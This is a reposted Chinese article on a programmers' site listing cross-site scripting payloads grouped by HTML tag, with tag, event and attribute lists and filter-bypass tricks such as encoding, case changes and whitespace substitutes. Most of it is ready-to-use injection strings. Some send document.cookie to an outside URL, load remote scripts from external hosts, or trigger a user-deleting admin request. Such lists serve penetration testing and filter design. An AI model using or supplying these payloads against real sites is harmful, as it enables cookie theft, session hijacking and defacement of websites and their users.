欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

XSS Payload List

程序员文章站 2022-04-14 16:32:54
标签、事件、属性 xss的攻击原理就是前端被插入了恶意的js代码,下面展示大部分可以执行js的标签、事件、属性; 标签(label) Chrome下srcdoc属性 JS代码注入,意味着无需\ html ?query%5Border_No%5D=&query%5Bm obile%5D=%27%2ba ......

标签、事件、属性

xss的攻击原理就是前端被插入了恶意的js代码,下面展示大部分可以执行js的标签、事件、属性;

标签(label)

<script>  <a>  <p>  <img> 

<body>  <button>  <var>  <div> <style>

<iframe>  <object>  <input>  <select> 

<textarea>  <keygen>  <frameset>  <embed> 

<svg>  <math>  <video>  <audio> 

<link>  <table>

事件(event) --- 事件都是onxxx开头

onload  onerror  onunload  onchange  onsubmit

onreset  onselect  onblur  onfocus

onabort  onkeydown  onkeypress  onkeyup 

onclick  ondbclick  onmouseover  onmousemove 

onmouseout  onmouseup  onforminput  onformchange 

ondrag  ondrop 

属性(attribute)

formaction  action  href 

xlink:href  autofocus  src

content  data expression


html代码注入

script标签

<script>document.write(string.fromcharcode(在这里写上你的代码));</script>   //过滤了等号、单引号、双引号、空格的绕过方法

><script>alert(document.cookie)</script>

</script><script>alert(doucument.cookie)</script>

<script firefox>alert(1)</script>  //其实我们并不需要一个规范的script标签 

<script>~'\u0061' ;  \u0074\u0068\u0072\u006f\u0077 ~ \u0074\u0068\u0069\u0073.  \u0061\u006c\u0065\u0072\u0074(~'\u0061')</script> 
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6c%65%72%74(/xss/)></script>//在这里我们依然可以使用那些编码 
<script>prompt(-[])</script> //不只是alert。prompt和confirm也可以弹窗 
<script>alert(/3/)</script> //可以用"/"来代替单引号和双引号 
<script>alert(string.fromcharcode(49))</script> //我们还可以用char 
<script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行 
<script>settimeout('alert(1)',0)</script> //如果输出是在settimeout里,我们依然可以直接执行alert(1)


<script src=//3w.org/xss/xss.js> //无结束脚本标记
<script src=http://3w.org/xss/xss.js?<b>; //无结束脚本标记(仅火狐等浏览器)

a标签

<a href=java&#97;script:alert(document.cookie)>href</a>
<svg><a xlink:href="javascript:alert(1234)"><rect width="1000" height="1000" fill="white"/></a></svg> 

img标签 + onerror(都是通过event来调用js)

<img src=# onerror="alert(document.cookie)"/>
<img src=x onerror=alert(1)> 
<img src ?itworksonchrome?\/onerror = alert(1)>  //只在chrome下有效 
<img src=x onerror=window.open('http://google.com');> 
<img/src/onerror=alert(1)>  //只在chrome下有效 
<img src="x:kcf" onerror="alert(1)">

//img嵌入式命令,可执行任意命令
<img src="http://www.xxx.com/a.php?a=b">

//img嵌入式命令(a.jpg在同服务器)
redirect 302 /a.jpg http://www.xxx.com/admin.asp&deleteuser

button标签

应该有一部分人对于button标签的js调用还停留在通过event事件来实现。像下面的例子.:

<button/onclick=alert(1) >m</button>

那么如果所有的on(event)被过滤了,我们就没有办法了么?其实html5已经给我们带来了新的姿势:

<form><button formaction=javascript&colon;alert(1)>m

也许看到这里就有人会吐槽,这种需要用户交互的啊! 如果使用onfocus事件,再加上autofocus我们就可以达到自动弹窗,无须交互了。

<button onfocus=alert(1) autofocus>

p标签 + onmouseover事件(都是通过event来调用js)

<p/onmouseover=javascript:alert(1); >m</p>
<p onmouseover=alert(/insight-labs/)>insight-labs、<frameset onload=alert(/insight-labs/)>、<body onload=alert(/insight-labs/)>   

body标签 + onload(都是通过event来调用js)

<body onload=alert(/insight-labs/)>
<body background="javascript:alert(xss)">
<body onload=alert(1)> 
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> 

var标签

<var onmouseover="prompt(1)">kcf</var>

input标签 + 属性/事件

<input type="image" src="javascript:alert(xss);">
<input onfocus=javascript:alert(1) autofocus> 
<input onblur=javascript:alert(1) autofocus><input autofocus>

link标签

<link rel="stylesheet" href="javascript:alert(xss);">
<link rel="stylesheet" href="http://ha.ckers.org/xss.css">

object标签

<object type="text/x-scriptlet" data="http://ha.ckers.org/scriptlet.html"></object>

<object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(xss)></object>

meta协议标签

meta协议
<meta http-equiv="refresh" content="0;url=javascript:alert(xss);">
<meta http-equiv="refresh" content="0;url=data:text/html;base64,phnjcmlwdd5hbgvydcgnwfntjyk8l3njcmlwdd4k">
<meta http-equiv="refresh" content="0; url=http://;url=javascript:alert(xss);">

frameset标签

<frameset onload=alert(/insight-labs/)>
<frameset><frame src="javascript:alert('xss');"></frameset>
<frameset><frame src=javascript:alert('xpss')></frame></frameset>

table标签

<table background="javascript:alert('xss')">
<table><td background="javascript:alert('xss')">

onclick、onmouseout属性

<l onclick=alert(document.cookie)>click me</l★最琀;弹出1

<span class="qm_ico_print" id="mail_print" title="打印" onclick="window.open('/cgi-bin/readmail?sid=sc_heoi3h_nqegjq&amp');"></span>

<a href="http://www.baidu.com" style="color:#143d70; simsun;" onclick="alert(/a/);this.style.behavior='url(#default#homepage)';this.sethomepage('http://www.baidu.com'); return(false);">asdasdsad</a>

<span onclick="javascript:changefont(2);">
<span class="xmsw" title=dd onmouseout=window.location='http://www,xfydyt.com'>test</span>
<span class="xmsw" title="dd" onmouseout=window.location='http://test/test.php?c='+document.cookie>test</span>
<span class="xmsw" title=dd onmouseout=javascript:alert(document.cookie)>test</span>


css代码注入 div、style标签 + expression属性

<style>
    .testcss{
        color: expreseion(alert(1))
    }
</style>

<style>li {list-style-image: url("javascript:alert('xss')");}</style><ul><li>xss
<style>body {background-image: url("javascript:alert(123)");}</style>
<style>@importjavasc ipt:alert("xss");</style>
<style>@importhttp://ha.ckers.org/xss.css;</style>
c<style type="text/javascript">alert(xss);</style>
<style>.xss{background-image:url("javascript:alert(xss)");}</style><a class="xss"></a>
<style type="text/css">body{background:url("javascript:alert(xss)")}</style>

<div style="background-image:url(javascript:alert(123))">
<div style="background-image: 075 072 06c 028 06a 061 076 061 073 063 072 069 070 074 03a 061 06c 065 072 074 028.1027 058.1053 053 027 029 029">
<div style="width: expression(alert(xss));">


dom型注入 iframe标签

iframe标签这个例子当中值得一提的是,有时候我们可以通过实体编码 &tab(换行和tab字符)来bypass一些filter。

我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash值得一提的是,只有在crossdomain.xml文件中,allow-access-from domain=“"允许从外部调用swf时,我们才可以通过flash来实现xss attack。

<iframe src="javascript:alert(1);"></iframe> 
<iframe/onload=alert(53)></iframe>

onload执行js

<iframe onload="alert(1)"></iframe>

src执行javascript代码

<iframe src="javascript:alert(1)"></iframe>

ie下vbscript执行代码

<iframe src="vbscript:msgbox(1)"></iframe>

chrome下data协议执行代码

<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

?url=<iframe
src=javascript:(prompt)(document.domain)>a://目标url<a>

<iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

chrome下srcdoc属性

<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>


js代码注入,意味着无需< >

?query%5border_no%5d=&query%5bm
obile%5d=%27%2balert`1`%2b%27

?query[order_no]=&query[m
obile]='+alert`1`+'


绕过过滤的方式

白盒

  • 阅读代码,查看开发写的过滤方法是怎么过滤的,针对性的看有什么是可以pass的

黑盒就尝试下面的方法

  • 转编码、进制、混合编码
&lt;script&nbsp;src=//xss.tw/3058&gt;&lt;/script&gt;
&quot;  引号
&nbsp;  空格
&lt;    <
&gt;    >
  • 大小写
  • 多层嵌套
  • 尝试一下其它标签、属性、事件


代替空格

<img/src=x onerror=alert(1)>

<m/onclick="alert(1)">m


最短xss 20个字符

<b/ondrag=alert()>m


可以尝试的标签

// us_ascii编码(库尔特发现)。使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以us-ascii编码交互的。目前仅发现apache tomcat是以该方式交互
?scriptualert(exsse)?/scriptu

<xml id=i><x><c><![cdata[<img src="javas]]><![cdata[cript:alert(xss);">]]>

<xml id="xss"><i><b><img src="javas<!-- -->cript:alert(xss)>

</c></x></xml><span datasrc=#i datafld=c dataformatas=html></span>


flash注入 embed标签

embed标签可以嵌入flash,其中包涵xss;

<embed src="data:text/html;base64,phnjcmlwdd5hbgvydcgis0ngiik8l3njcmlwdd4="></embed> //chrome 
<embed src=javascript:alert(1)> //firefox

<embed src="http://3w.org/xss/xss.swf" ></embed>
<embed src="http://ha.ckers.org/xss.swf" allowscriptaccess="always"></embed>

.swf

code: a="get";
b="url("";
c="javascript:";
d="alert(xss);")";
eval(a+b+c+d);

参考

https://www.leavesongs.com/penetration/xss-collect.html